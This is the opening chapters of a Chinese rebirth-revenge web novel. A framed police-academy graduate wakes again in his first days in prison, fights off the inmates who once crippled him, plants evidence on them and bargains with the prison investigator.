《卧底入狱?我直接整顿监狱法则》
第一章 醒来
“啪!”
一记火辣辣的耳光,将林燃从混沌的睡梦中狠狠扇醒。
耳边是粗粝的呵斥:“瓜崽子,醒醒!”
林燃猛地睁开眼。
一张带着三角眼、面目可憎的脸正居高临下地瞪着自己。
但林燃此刻无暇他顾,一种难以置信的狂喜与惊悸攫住了他——
他猛地坐起身,动作迅捷,牵动了囚服下年轻的肌肉。
活着?我还活着?!
他难以置信地抬起双手,十指健全,活动自如。
他又低头看向自己的双腿。
隔着薄薄的囚裤,能感受到肌肉的轮廓与力量。
梦?这一定是梦!
他几乎是跳了起来。
双脚踏实地面传来的反作用力如此清晰、如此美妙。
他还不放心,又狠狠掐了自己的脸颊一下——
疼!尖锐的疼痛感无比真实!
这不是梦!
他的目光迅速扫过对面那个骂骂咧咧的“三角眼”。
再落到自己身上——衣兜和肩背带有白色条纹的蓝色囚服,冰冷而熟悉。
这……这是安江监狱!
墙上的日历模糊显示着——2000年。
是十五年前!
这是他刚入狱的那年!
自己竟然……重回到了这一年!
是的,林燃已经活过一世。
上一世,他作为警校优秀毕业生,刚分配到安江市局。
意气风发,前程似锦……可一切都在那个任务后戛然而止。
他被栽赃陷害,在毒品交易现场作为运毒人被民警当场抓获。
一审以运输毒品罪。
数额巨大,判处有期徒刑十年,投入这安江监狱。
从云端跌落泥沼,林燃和家人自然不服,选择了上诉。
然而,上诉后的第三天中午,在放风期间,一场“意外”发生。
他被不认识的犯人用一根磨尖的长钉螺丝,插进了脊柱。
伤及神经。虽经数次手术,他依旧下半身瘫痪,成了废人。
而很快,林燃家人的上诉也失败了。
至于捅伤他的犯人,联合同伙指证双方是发生口角后互殴。
对方只是加了两年刑期而已,甚至很快又获得了减刑,没多久就出去了。
而变成废人的林燃,从此卧榻在床。
被这些噩梦般的经历缠绕着熬过了刑期。
等到刑期将近,保外就医出狱的那天。
已经是10年后,也就是2010年,
林燃已经年逾三十,从意气风发的优秀警校毕业生。
变成了一个需要人照顾的残疾人。
尽管家里人一直都在为了他申冤上诉,可林燃已经被彻底击溃。
家里几位长辈,爷爷奶奶,外公外婆。
在他入狱后的几年中陆续离开人世。
父亲因为气郁攻心,早早得绝症去了。
而母亲卖光了家里一切能卖的东西,欠下了数不清的外债。
只为了帮他治疗,找人为他翻案。
可是一切毫无转机。
10年,地狱的10年。
如果不是担心母亲,在监狱病床上,林燃早就想方设法选择自尽了。
可出狱后,前路依旧晦暗。
当林燃被医院救护车送到家里时,看到的是一个用铝板搭建的简易板房。
以及满院子堆放的母亲用以谋生的垃圾。
林燃一个残疾人,一个刑满释放人员。
没有任何谋生手段,没有任何关系资源。
他只能求母亲用一点积蓄,买来了一台二手电脑。
从此在网络上不停申冤申诉,研究案件,查找线索。
可这无异于大海捞针。
十年前发展自己当卧底的那个“姚局”和“政治处同志”,再也没有出现过。
在浩繁的网络世界里。
他研究了一个又一个案子,查找线索,可都是毫无意义。
此时,母亲也已经油尽灯枯,林母熬到了儿子出狱,可也熬不到看见希望的那天。
如果不是为了照顾孩子,她早就死撑不下去了。
这天,暴雪,风吹得铝皮板房砰砰作响。
她感觉自己已经不行,跌跌撞撞地来到儿子床前。
瘫倒在他怀里,就再也没有起来。
“崽,妈不行了,你怎么办啊……你,我不安心啊……”
林母死前都只担心他的以后,而死不瞑目。
搂着母亲瘦骨嶙峋的背,林燃心里有火在烧。
世界如此对我,我也弃之这个世界。
这个冬夜。
林燃点燃了垃圾堆。
点燃了这铝皮房子。
点燃了这一切。
在大火中。
“妈,爸,如果有来生,我绝不会让这一切发生……”
…………
燃烧着的火焰,将他吞噬。
无尽的黑暗袭来。
这一切的原点就是2000年的那个冬天。
可没想到,“三角眼”的辱骂。
让林燃再次从2000年的安江监狱中醒来!
“欸,你是不是傻了?大中午躺在这装睡?
呵,我说话听不懂是吧?我们老大叫你过去!”
看着眼前不断对自己呵斥的“三角眼”。
林燃猛地反应过来:
这已经是自己被陷害后,投入监狱,申请上诉的第三天了!
就是这天中午,就是在跟着这“三角眼”去见他那个老大的路上。
自己在监控盲区的楼道里,被他们三个人偷袭,被那根长钉螺丝扎进背脊,从此成了废人!
就是这个中午。
林燃胸口激烈起伏起来。
他知道决定自己命运的时刻就在一分钟之后。
但此时和前世不一样了!
当时的他毫无防备,毫无所知。
现在既然回到这一刻,那谁生谁死,就难以预料了!
想到这,愤怒、激动、仇恨,各种情绪交汇,犹如一道闪电,瞬间刺进他的背脊。
让他每根神经都运作起来。
“嘿,你怕是不知道谁是老大了……”
眼前“三角眼”对他的异变毫无所觉,抬手一耳光就要再扇过来。
可此时20岁的林燃。
只是一抬手。
一翻腕,就牢牢扼住他的手腕。
往下一折。
“喔,噢,痛痛……”
“谁是老大?”
林燃没有留情,略微用力。
“三角眼”手腕“咔嚓”两声,已经脱臼。
还在继续使力。
“你……哥,哥,你是老大,我错了……”
“三角眼”是牢里“鳄老大”的跟班。
当时捅伤自己的,也有他一份,但主谋应该是那个“鳄老大”。
“哼,带路!”
林燃松开手,让“三角眼”在前面带路。
此时虽然已经知晓对方有埋伏。
但他宁愿这次搞定对方。
毕竟前一世,他经历过这次袭击,知道对方的方式和细节。
要是避开这次,下次换了袭击的方式和时间,他就无从提防了。
只有千日做贼,哪有千日防贼?
狭路相逢,干脆这次见真章!
第二章 复仇
林燃一推前面揉着手,不住叫唤的“三角眼”。
让他带着自己去见“鳄老大”。
“你小子,你把我手弄脱臼了!你踏马的……”
捂着脱臼手腕的“三角眼”,虽然觉得眼前这小子和之前有些不太一样。
但脱了控制,那股子小流氓的混子劲又上来了。
开始找回前面被收拾的场子。
“你等下看吧,我老大会弄死你!
你知道我老大为什么叫‘鳄老大’么?”
“鳄老大”为什么叫这个外号?
林燃经历过一世,怎么会不知道。
“呵,不就是在城东搞了个养殖场,养鳄鱼的嘛,牛氓地痞。”
被叫破针脚的“三角眼”有些不爽。
但还是为老大强撑面子道:
“你别这么嚣张……我告诉你,我们老大那鳄鱼池子里,丢了不少你这种不知道天高地厚的小子进去!
你还在这跳,到时……欸,老大!”
两人说着,已经到了放风广场的西侧。
这里是“鳄老大”的地盘,别的囚犯没人敢过来,此时正适合威胁恐吓。
而那“鳄老大”正领着一名瘦子跟班正等在这,看着林燃狞笑一句。
“哟,这‘鱼’来了啊。”
“鳄老大”真名刘子明,非法经营罪进来的。
旁边的瘦子林燃不记得真名了,反正是“鳄老大”的跟班。
前世仇人见面,林燃眼底闪过一丝无人察觉的杀意。
“呵,不错嘛,挺听话嘛。”
“鳄老大”丢掉手工卷的烟卷,这在狱里是稀罕货,证明了他的地位。
“老大,这小子刚刚不服管教,还弄脱了我手……”
“三角眼”赶紧先告状,这“鳄老大”只是瞥了他一眼。
一个眼神就让这啰啰闭嘴,明显不想在正事前耽误。
“那个,有人从外面让我带几句话给你,听说你还一直在上诉?
别人让我劝你,别白费力气的,安心改造,好好做人,说不定还有转机。
如果还一直上蹿下跳,怕你到时过不了几天,小命都会没了。”
这话说完。
现场三人都是一片沉默。
过了几秒,林燃突然笑了起来。
一样啊,和前世一样啊!
当时就是这“鳄老大”递话进来,让自己不要上诉了,安心接受现实。
自己当然不肯答应。
接下来这“鳄老大”就会引自己去管区走廊那边,在监控死角里对自己下手。
和前世一样!
积年的仇恨,与现实在此刻融合。
这让林燃怒极反笑。
对方三人面面相觑,不知道这小子是失心疯了?还是吓傻了?
“呵……”
林燃心里的情绪总算平复下来,他叹了口气,抬头道:
“命?我还怕没命?我已经死过一次的人了,你和那边说吧。
有什么尽管来,你还要告诉他,不管他躲在哪,这次我一定会出去,会弄死他。”
没听出林燃言语中的意味,“鳄老大”冷哼一声,也冷笑起来:
“啊?你还想出去?”
“对,我会出去,我还会弄死他。”
见林燃不像说疯话,“鳄老大”眼神也冷了下来。
既然威胁没用,按照“那人”的指示,只能废了这傻子了。
“那行,你听不懂就算了,那个啊……这监区办公室的干部前面让我喊你过去。
听说你上诉材料缺了个什么东西,要你去填个资料……”
这话林燃也很熟悉,当时就是这个话术骗自己到监区走廊的。
此时情景重现,他却没有躲避。
“走吧。”
这小子爽快的态度,让“鳄老大”有些诧异。
但既然如此配合,也不需要多费功夫。
他便让瘦子在前面领路,自己和“三角眼”在后面跟着。
三人“包围”着林燃,往管区办公室走去。
“报告!出任务!”
在防风广场的门岗处和值班武警说明了情况。
对方核实后,一行人就通过了门岗,走向了管区办公楼。
前面是一段阴暗的走廊通道,上楼梯后,就有管区民警在前面迎接。
所以动手机会就在于此!
前世林燃也是在这遇袭!
走入这阴暗潮湿的楼梯通道。
林燃喉咙不由发紧。
此时这三人正前后把自己包围住了。
他知道只要再往前几步,身后的“三角眼”就会突然冲上来搂着自己脖子。
身前的瘦子也会转头托起自己的双腿,让自己腾空失去借力的地方。
而那“鳄老大”就会拿到那根“凶器”——那把长钉螺丝。
一下狠狠地扎进自己背脊处,扎得自己一辈子再也站不起来。
眼下,这上一世经历过的一切,即将发生。
林燃甚至能听到后面两人厚重的呼吸声。
前世自己居然没有察觉,这两人的杀意已经如此明显。
离前世遇袭的地方越来越近。
只有三步了。
身后两人的脚步已经放缓。
两步。
前面那瘦子的动作也僵硬起来,估计明白已经到了要动手的地方。
一步……
一切眼看都和前世一样。
一切眼看就要重蹈覆辙。
可这次,林燃不一样了。
他等的也是这一刻。
不像前世那样被这突起惊变所吓愣,这一世的他先于这三人而动作!
他往前踏出一步,推开那瘦子,闪电出手。
手伸进旁边的铁架楼梯下面的一处螺丝栓孔处,摸住一件冰冷的事物。
那是凶器——正是那把磨尖的长钉螺丝!
安江监狱管理严格。
每天,囚室和服刑犯都要被搜查检查违禁物。
像这种“凶器”,即使是那“鳄老大”,他们无法也无法随手携带。
而这根长钉螺丝,此刻正静静地插在这铁架楼梯的螺栓孔中。
林燃不知道这根前端被磨尖如利刃的螺丝,是原本就是这孔的配套螺丝,还是被“鳄老大”他们提前藏在这里的。
总之,他知道前世这三人,就是从这里拔出来早就藏好点凶器,刺残了自己。
可这一世。
他要先发制人!
“艹!动手!”
他抓住长钉螺丝的那一瞬间,身后两人也反应过来。
当即前扑而来。
“鳄老大”身材矮胖,仓促间没注意到林燃手上的动作。
只以为他察觉不对,想要逃跑而已。
上前就要一拳挥来。
可他突然觉得肚子上一暖。
像是一道热水猛地打入体内。
又像一个热水袋突然被扎破,温水喷溅一声。
接着,他就觉得下身无力,一下栽倒下去。
“血……血!老大!杀人了!”
跟着最近的“三角眼”率先反应过来。
他猛地发现眼前“鳄老大”肚子上血液喷溅而出,人摔倒在地。
而之前老大准备好的那根长钉螺丝,居然此时握在了林燃的手里!
第三章 反杀
怎么会?!
这小子怎么摸到了自己团伙给他准备的“工具”!?
可还不等他喊叫。
林燃已经迅步冲了过来。
“别……别杀我……饶……”
他来不及说出最后一个字。
林燃右手握拳,长钉螺丝夹在拳尖处,一下扎进他的左肩。
血液飙溅而出。
林燃没有留情。
这一世他不打算留情。
“唰唰唰~”
连接几下,磨尖如匕首的长钉螺丝,在“三角眼”的身上捅出几个血窟窿。
这小子泄了气的皮球一样,顿时瘫倒在地。
等林燃转过身,那瘦子已经彻底忘了自己这一方才是袭击者。
完全被眼前血肉模糊的场面吓傻了。
“嘿,到你了”
林燃冷着眼,向他走来。
楼梯通道内。
血腥味混杂着潮湿的霉味,形成一股令人作呕的甜腥气息。
瘦子看着眼前如同从血池里捞出来的林燃。
看着他手中那根滴着暗红色液体的长钉螺丝。
裤裆处瞬间湿热一片。
他双腿发软,想跑,却像是被钉在了原地。
喉咙里发出“咯咯”的怪响,连一句完整的求饶都说不出来。
林燃的眼神没有起伏,像看着砧板上的肉菜一般。
没有一丝胜利的快意,只有一种残酷的平静和自然。
他一步步走向瘦子,脚步声在寂静的通道里回响。
“别…别过来…我错了…燃哥…饶了我…”瘦子终于挤出几个字,身体抖得像筛糠。
林燃在他面前站定,目光扫过他惨白的脸。
最终落在他不断打战的腿上。
“手,扶住栏杆。”林燃的声音不高,却带着不容置疑的命令。
瘦子一愣,下意识地照做,用颤抖的双手抓住了旁边的铁质楼梯扶手。
“抓紧了。”
话音未落,林燃手中的长钉螺丝猛地刺下!
“啊——!”瘦子发出凄厉的惨叫。
长钉并没有刺向他的要害,而是精准地穿透了他右手的手掌,将他整个手掌牢牢地钉在了铁质扶手上!
长钉最后卡在接缝处,鲜血顺着栏杆蜿蜒流下。
剧烈的疼痛让瘦子几乎晕厥,但他被钉住的手却让他连倒地都做不到。
只能以一种极其痛苦的姿势半跪在地上,哀嚎不止。
林燃松开手,任由那根代表着前世今生无尽痛苦的凶器,将瘦子固定在原地。
他看都没再看瘦子一眼,转身走向倒在地上的“鳄老大”刘子明和“三角眼”。
刘子明肚子上挨的那一下又狠又准,看着凶,但实际林燃掌握分寸,避开了内脏要害。
此刻虽然出气多进气少,但按计算,马上救援就会到。
只要止血,不会危及生命,刘子明呻吟的声音也没停过。
想这样就死?没那么容易。
而“三角眼”身上多处被刺,虽然也不致命。
但失血加上剧痛,也让他意识模糊,瘫在血泊中动弹不得。
现场一片狼藉,如同修罗场。
林燃站在血泊中央,剧烈地喘息着。
不是因为疲惫,而是因为积压了两世的仇恨在这一刻得到了彻底的宣泄。
他低头看了看自己身上溅满鲜血的囚服,又看了看地上这三个前世将他拖入地狱的仇人。
一种奇异的感觉涌上心头——枷锁,似乎松动了些许。
但危机远未解除。
他重伤了两人,轻伤了一人。在狱里,这是天大的事。
如果不能妥善处理,等待他的很可能是加刑,甚至是死缓。
那重生的一切意义,都将化为乌有。
必须想办法摆脱惩罚!
好在动手前,他已经有了计划。
林燃的大脑以前所未有的速度运转起来。
前世的记忆,在监狱中摸爬滚打十年积累的经验。
以及作为警校优秀毕业生所学的法律和侦查知识,在这一刻融会贯通。
他首先迅速检查了一下三人的状态。
“鳄老大”刘子明和“三角眼”失血严重,但暂时死不了;瘦子被钉在栏杆上,除了惨叫没有生命危险。
然后,他开始仔细观察周围环境。
这条通道是监控死角,这是他前世就知道的。
但通道两端,尤其是通往放风广场的那头,是有监控的。
他们四人一起进入通道的过程,肯定被拍下来了。
关键是,如何解释通道里发生的一切。
一个完美的计划雏形,在林燃心中迅速形成。
这个计划不仅要脱罪,还要借此立威,让监狱里那些蠢蠢欲动的人知道,他林燃,不是任人宰割的羔羊!
他蹲下身,在“鳄老大”刘子明的身上摸索起来。
很快,他找到了半包被血浸湿的香烟和一个皱巴巴的烟盒。
用囚服袖口隔着一捏,就发现不对。
他将烟盒撕开,在里面夹层果然找到了一小撮用透明塑料纸包着的白色粉末。
林燃眼神一凝。他虽然不确定这具体是什么,但在监狱里私藏这种不明粉末,绝对是重罪!
这很可能就是“鳄老大”能在这监狱里能有地位的原因之一,也是外面那人能驱使他的筹码。
他又走到“三角眼”身边,如法炮制,同样搜出了一些零碎物品和一小卷钞票。
监狱里不得私藏现金,都必须在小卖部“挂账”,或者存在监区。
现金就是违禁品,看到这,林燃心里有数了,果然前世的经验没有错。
他将白色粉末撒了一点在“三角眼”口袋里。
接着,将这包粉末小心翼翼地放回了刘子明口袋,然后用刘子明的衣服擦干净手上的血迹。
做完这一切,林染深吸一口气,脸上刻意营造出惊魂未定、混合着愤怒和后怕的表情。
他猛地用头撞向旁边的墙壁,力度控制得恰到好处,额角立刻破皮。
鲜血流了下来,让他看起来更加狼狈和“真实”。
然后,他扯开嗓子,用尽全身力气发出了惊恐而愤怒的呼喊:
“杀人了!救命啊!他们要杀我——!!!”
凄厉的喊声在通道内回荡,瞬间打破了监狱死寂的氛围。
---
警报声尖锐地响起。
杂乱的脚步声迅速由远及近。最先赶到的是两名持枪的武警和一名值班狱警。当他们冲进通道,看到眼前的景象时,所有人都倒吸了一口凉气。
血泊、倒地不起的囚犯、被钉在栏杆上哀嚎的瘦子,以及那个浑身是血、额头破损、靠在墙边瑟瑟发抖的年轻囚犯——林燃。
“不许动!双手抱头!蹲下!”冰冷的枪口对准了现场唯一还站着,虽然看起来摇摇欲坠的林燃。
第四章 审讯
林燃非常配合,立刻双手抱头蹲下,同时用带着哭腔的声音喊道:
“报告政府!他们…他们要杀我!我是自我防卫!”
很快,更多的狱警和监狱管理人员赶到现场。
医护人员也迅速入场,检查伤者。“
鳄老大”刘子明、“三角眼”和瘦子被紧急抬去医务室抢救。
林燃则被戴上了沉重的手铐脚镣,由四名身材高大的狱警严密押解,直接带往禁闭室,同时也是监狱的审讯室。
一路上,所有遇到的囚犯都投来或震惊、或恐惧、或好奇的目光。
林燃单挑“鳄老大”三人,一死两重伤的消息,像风一样传遍了整个监区。
他“林燃”这个名字。
从这一刻起,不再是一个默默无闻的新来的,而是一个染着血的、令人忌惮的符号。
立威的效果,初步达到了。
林燃低着头,掩盖住眼神中的一丝冷冽。
审讯室内,灯光惨白。
负责审讯他的是狱侦科的科长。
一个面色黝黑、眼神锐利的中年男人,姓谷,叫谷彦君,犯人们私下都叫他“谷阎王”。
旁边坐着记录员,一名叫陈安的年轻狱警,林燃看了他一眼。
他记得这个人。
这和前世的记忆也对上了。
陈安此刻眉头紧锁,看着林燃的目光充满了复杂。
“林燃,说说吧,怎么回事?!”
谷科长的声音低沉,带着不容置疑的压迫感:
“三条人命!你知道这是什么性质吗?”
这个问句的潜台词是三人都没了,是问话中的施压技巧,但警校出身的林燃很快就排除掉了这个误导。
林燃抬起头,脸上依旧保持着惊魂未定的表情,但眼神却努力显得坚定:
“报告领导,我是自我防卫!是他们要杀我!而且我不敢太打要害了,不可能死人!”
没想到这小子知道人都没死,谷科长感觉眼前这林燃的新犯人不简单。
但他气势不能输。
“自我防卫?自我防卫能把三个人搞成两重伤一轻伤?你当我是三岁小孩?!”
谷科长猛地一拍桌子。
“报告政府!他们有凶器!”
林燃大声道。
同时举起了被铐着的双手,指向自己被搜走作为物证放在桌上的那根长钉螺丝。
“就是那个!他们用这个偷袭我!我不反抗,现在死的就是我!或者比死更惨!”
谷科长的目光扫过那根血迹斑斑、磨得尖利的长钉螺丝,眼神微动。
这种自制凶器在监狱里并不罕见,但出现在这种规模的斗殴中,性质确实不同。
“他们为什么针对你?据我们所知,你刚进来没几天。”
“因为上诉!”林燃毫不犹豫地说道,他知道这是关键,“
‘鳄老大’刘子明今天放风时找我,说外面有人让他带话,叫我放弃上诉,安心服刑,否则就要我的命!
我不答应,他就骗我说管区干部找我,把我骗到那个没监控的通道里,他们三个就拿出早就藏好的螺丝钉要杀我!”
林燃的语速很快,但条理清晰。
将“鳄老大”威胁他的话,以及骗他去通道的过程复述了一遍。
这与监控拍到的他们四人一起进入通道的画面是吻合的。
“外面的人?谁?”谷科长敏锐地抓住了重点。
“我不知道他的名字,”林燃摇摇头,眼神中适时地流露出愤怒和一些迷茫。
“但‘鳄老大’说,是能决定我生死的人。
领导,我是被冤枉的!我根本就没运输毒品!
是有人陷害我!他们怕我上诉成功,所以要在监狱里灭我的口!我害怕得不行!差点命都没了”
这番话,半真半假。
真的是“鳄老大”确实传达了威胁,真的是有人要灭口。
假的是,这一世,林燃才是真正的猎手。
他现在要做的,是把水搅浑,把这次袭击定性为“阻止上诉的谋杀未遂”。
而自己是英勇反抗的受害者。
谷科长盯着林燃,似乎在判断他话语的真假。
监狱里黑暗的事情他见得多了,灭口这种事也并非不可能。
“你说他们偷袭你,你怎么反杀的?你一个人,对付三个?”
陈安忍不住开口问道,语气中带着一丝难以置信。
他看过林燃的档案,知道他是警校毕业,身手应该不错。
但一对三还造成如此战果,实在惊人。
林燃看向陈安,眼神稍微缓和:
“报告领导,我在警校学过格斗。
当时他们从后面抱我,前面的人拿钉子捅我,我情急之下拼命反抗,抢过了钉子……
后面的事情,我也记不太清了,就是乱打,乱捅……等我反应过来,他们就都倒在地上了……”
他适当地表现出一些“混乱”和“后怕”。
这符合一个初次经历生死搏杀的人的心理状态。
审讯陷入了短暂的沉默。
谷科长用手指敲着桌面,似乎在权衡。
这案子很奇怪,“鳄老大”团伙在安江监狱有势力,谷科长知道。
但他们不惹事,也极少动手,一般犯人也不敢惹他们,甚至劳动改造中,这几个人都评上积极分子。
突然和这新人打得这么重,确实有古怪。
而林燃身上更奇怪了,档案上明明白白写着省警校毕业,却没去市局报到,反而因为运毒被抓而判刑,这也不对劲。
难道这小子是……?
谷科长越想越不对劲,觉得这两方背后都深不可测。
眼前年轻人误入歧途,他还是有些惋惜。
毕竟也穿了几年制服,潜意识里就想拉他一把。
但理智却告诉他不行。
今天提审这小子前,副监狱长彭振就打过招呼:
说上面人很关注这新人,一定要“严肃处理,以儆效尤”!
这就是不放过的意思了。
压力,无声地笼罩下来。
“林燃,你虽然说着有些理由,但现场情况对你很不利。”
谷科长的语气缓和了些,却带着更深的凝重:
“我相信你部分说法,但有些事,不是我相信就能决定的。”
“上面的意思是,影响太恶劣,必须严惩。防卫过当?
恐怕都很难认定,你先好好想想吧,认罪的话,我再过来。”
陈安欲言又止,最终还是低下了头。
林燃心沉了下去,果然,那只幕后黑手的力量,比他想象的渗透得更深。
他不能坐以待毙。
就在谷科长准备结束这次审讯时,林燃忽然抬起头,眼神异常清明。
“领导,我举报。”
第五章 禁闭室
“举报?”
谷科长站在门口,疑惑回头。
“对,请你们搜查一下他们几个人身上,我确定有违禁品。”
“违禁品?什么违禁品?”
林燃抬起带着手铐的手指,意味深长地划过了鼻尖。
谷科长愣了一下,然后脸色一绷!
涉毒!
监区内涉毒是大事!
不管林燃说的是真是假,他必须尽快核实。
安排将林燃收押回禁闭室后,狱侦科赶紧对鳄老大几人开始全面搜检。
狱中火焰,已经引燃。
…………
禁闭室,又称“小黑屋”,是监狱里最令人恐惧的地方之一。
狭小的空间,仅能容人蜷缩。没有窗户,只有门上一个小孔偶尔透进一丝光亮。
绝对的黑暗与寂静,足以逼疯任何一个心智健全的人。
林燃被扒得只剩一条内裤,扔进了这里。
沉重的铁门在身后“哐当”一声关上,整个世界仿佛瞬间被抽离。
只剩下无边的黑暗和自身心跳、呼吸的声音。
若是前世的他,经历如此剧变又被关入此地,恐怕早已精神崩溃。
但现在的林燃,体内是一个经历了十年瘫痪、家破人亡、最终在火焰中重生的灵魂。
肉体的禁锢和环境的压抑,对他而言,远不如前世那绝望的精神折磨来得可怕。
他盘膝坐在冰冷的地板上,闭上眼睛。
黑暗,反而有助于他思考。
复盘今天的行动,虽然有冒险的成分,但结果基本达到了预期。成功反杀仇敌,暂时摆脱了严厉惩罚。
并且在监狱里立下了凶名。那个隐藏在幕后的“那人”,得知消息后,想必也会有所震动吧?
接下来,他要利用这段禁闭时间,好好规划未来。
首先,必须活下去,并且要完好地走出监狱。
这意味着他需要在接下来的调查中彻底坐实“正当防卫”的性质。
自己第一次审问中,把违禁品的事实透给了狱侦科,想必会从鳄老大几人身上发现粉末和违禁品。
“鳄老大”等人私藏违禁品、尤其是毒品,以及受人指使谋杀未遂的嫌疑,会大大冲淡他反杀过当的责任。
监狱管理层也要考虑,如果严惩一个“反抗谋杀”的囚犯,会引发怎样的舆论和内部动荡,背后的黑手也要忌惮。
但现在还不到掉以轻心的时候。
现场当时有四个人,除了地上的“鳄老大”和“三角眼”以外。
同伙“瘦子”被自己吓破了胆,但也看到了自己在两人身上摸索的过程,甚至有可能会反咬一口,说自己栽赃陷害。
而自己也是因为涉毒罪名进来的,这天然就有劣势。
必须在这段时间里,想办法确定“鳄老大”他们监区里藏毒的位置,透漏给谷科长他们,不然反而引火烧身。
想到这,林燃赶紧回想关于“鳄老大”团伙的信息。
很快,两世的记忆浮光掠影般飘落出来……
刚入狱,在入监队的时候,管教就带他们新犯人熟悉改造。
当时“鳄老大”刘子明在劳动车间,似乎总是有意无意地靠近那个堆放废弃纺织原料的角落。
有一次他弯腰系鞋带时,手好像飞快地在某个沉重的旧线轴底部摸了一下……
而每次劳动休息期间,不少犯人都会簇拥着他到走廊角落放风抽烟。
甚至不同帮派的犯人都会在此时格外和谐……
这就是藏匿点和分发地!
林燃眼皮猛然一跳!
对,把毒品藏在管理松散,无人在意的纺织原料仓库,比天天检查的监室安全得多。
而每天的劳动改造,也是各路犯人有机会交流的好时机!
想到这,他心里就有底了,就等接下来的提审。
他相信等狱侦科那边化验有了结果,马上就会来找自己。
接下来,他要利用这段禁闭时间,好好规划未来。
首先,必须活下去,并且要完好地走出监狱。
这意味着他需要在接下来的调查中彻底坐实“正当防卫”的性质,同时要继续表现出“配合改造”的态度,争取减刑。
谷科长和陈安,或许是可以利用的突破口。陈安似乎对他抱有同情,而谷科长,看起来是讲究证据和规则的人。
其次,要开始暗中调查。调查“外面那人”的真实身份和目的,调查自己当初被陷害的真相。
监狱虽然封闭,但也是一个信息汇聚地。三教九流的囚犯,或许能提供一些意想不到的线索。
最后,也是最重要的,是力量。个人的力量,势力的力量。前世他孤身一人,任人宰割。
这一世,他必须在监狱里就开始建立自己的根基。
今天的立威是一个开始,但还远远不够。
他需要让一些人怕他,也需要让一些人服他,甚至追随他。
在绝对的黑暗和寂静中,林燃的思维格外清晰。
前世在病床上研究的那些法律条文、犯罪心理学、案例资料甚至是一些灰色地带的谋略。
此刻都成了他规划未来的蓝图。
加上这一世警校优秀毕业生的头脑和身体。
他有信心杀出这个炼狱。
…………
他不知道自己在禁闭室里待了多久。
时间在这里失去了意义。
只有送饭时小窗口打开的那一瞬间的光亮。
以及那点勉强维持生命的食物和水,提醒着他外界的存在。
他利用送饭的短暂间隙,仔细观察过送饭的狱警,试图记住他们的特征和轮班规律。
他也通过倾听门外极其微弱的声音,来判断外面的情况。
终于,在某一次送饭时,来的不是往常的狱警,而是陈安。
陈安看着蜷缩在黑暗中,眼神却依旧清明,甚至带着一种不符合年龄的深邃的林燃,心中微微一动。
这个年轻人,比他想象的要坚韧得多。
“林燃,出来吧。”陈安的声音在狭小的空间里回荡。
铁门打开,久违的光线刺得林燃眯起了眼睛。
他适应了一下,才缓缓站起身。
虽然身体因为久坐和饥饿有些虚弱,但他的腰杆挺得笔直。
跟着陈安走出禁闭区,重新沐浴在监狱内部、四面高墙的稀缺天光下,林燃深深地吸了一口气。
空气虽然混浊,却带着自由的味道——相对的自由。
“化验有结果了?”林燃平静地问道。
第六章 人赃并获
陈安愣了一下,没想到困了这么久的林燃,居然先开口,甚至隐隐掌握主动。
“你先别废话,现在有事提讯你,”
他只能虚张声势一句,然后将林燃带到了讯问室。
第二次审问开始。
谷科长身子后靠在椅背上,姿态放松。
“想清楚了?你承认主动袭击刘子明等三人了?”
林燃却摇了摇头:“没有,这个我上次就讲清楚了,我只是防卫过当。”
“啧”
谷科长啜了一下牙花子。
没想到这小子几天禁闭下来,居然还这么能挺。
“你小子不错啊,这么死硬?”
“上次我报告的刘子明三人身上有违禁品的事,领导你应该已经查实了吧。”
林燃反将一军,重新掌握主动权。
谷科长没有说话,但此时一份调查报告就在他的提包里。
报告显示,从“鳄老大”和“三角眼”身上搜出了违禁品,尤其是那包白色粉末,初步检测显示含有毒品成分。
这无疑坐实了“鳄老大”等人绝非善类,也侧面印证了林燃关于“外面有人指使”的说法可能性。
但他现在没有急着肯定,吞了口口水,强自镇定。
因为谷彦君不想让林燃太过得意,虽然现在审问室里的主动权已经不知不觉中落在对面的“犯人”手中。
见到谷科长眼神闪烁,林燃肯定已经有了结果,他也不在卖关子,抛出自己现在手中最大的“饵料”。
“监区涉毒是大事,我相信谷科长您也很急,我作为响应改造的积极分子,我想向您举报一条线索。”
线索!?
听到这两个字,谷科长眼睛都亮了。
他这下再也绷不住:“你知道藏毒地点?”
林燃点了点头:“对,我有情报,听说了刘子明这伙人藏毒的位置,但是我希望你能答应我一个条件……”
不等说完,谷科长猛地站起一拍桌:“你搞清楚你现在的身份!这不是谈条件的地方!”
林燃不为所动,只是也轻轻往后靠在椅背,面露微笑。
吓唬?就凭你?
谷科长见眼前的年轻人如此镇定,他知道吓不住他了。
这警校生怎么这么沉静,完全不像一个20出头的年轻人!
警校难道也教反审讯训练?
事态紧急,不容他多想。
他只能先退让:“你说吧,你要什么?”
林燃见时机成熟,提出自己的要求。
“领导,我之审问时就表态了,我是被冤枉的,有人陷害我……”
“你说的这些不是我们狱侦科的事……”
见谷科长表情不耐,林燃也知道让他翻案也不现实,便解释道:
“你先别急,我不是要你替我翻案,我只有几个小要求,第一个,请你按真实情况,将这起狱内案件报上去就行,我真是正当防卫。”
“唔,这个倒自然,我们狱侦科也是为了维护正义,你说的,我们都会去核实。如果真如你说的一样,自然你在这起案件里没太多责任。”
谷科长说完就要起身离开,可没想到林燃继续道:
“好的,第二点……”
“还有第二条?”
谷彦君没想到这新人还真不简单,还敢对着自己再提要求。
“对,我希望您去核查这些信息的时候,不要暴露来源,我毕竟还要在这里呆这么久,我不想被人叫‘鼠妹’……”
“鼠妹”是监狱里对打小报告、总是向上级举报的那类人的蔑称。
林燃的意思很清楚,监狱这种地方,就是小江湖。
犯人进来都叫“进修”,出去后,遇到了都自称“同学”,人渣聚集,但也有自己的规矩。
既然有江湖规矩,对于告密者自然也没有好脸色,欺凌侮辱都是常态,也受排挤,还有生命危险。
林燃自然不想沦落到这个地步。
谷彦君听到这话,点了点头,这个自然,对于自己的眼线,还是要保护。
但隔了几秒,他突然意识到林燃这个新人嘴里居然说出“鼠妹”两个字时,他猛然抬头。
这小子第一次进来,怎么知道这个词!?
林燃此时被他一瞪,也反应过来,前世的经验和记忆,一不小心就从这些口癖中暴露了,他暗自提醒自己,以后一定注意言词。
好在谷科长也没多想,以为他是从某个犯人那里听来的,点头让他赶紧交代藏毒地。
“我还有最后一个请求……”
“你小子!”
谷彦君有些恼了,还是第一次有犯人敢这样和自己提要求的。
但林燃咧嘴一笑:“你放心,也不难,只想请你帮我传个话而已。”
“给谁?!”
谷彦君警惕起来,给犯人带话搞不好是犯纪律的。
“不是什么同伙之类的,是一个警察。”
“警察?”
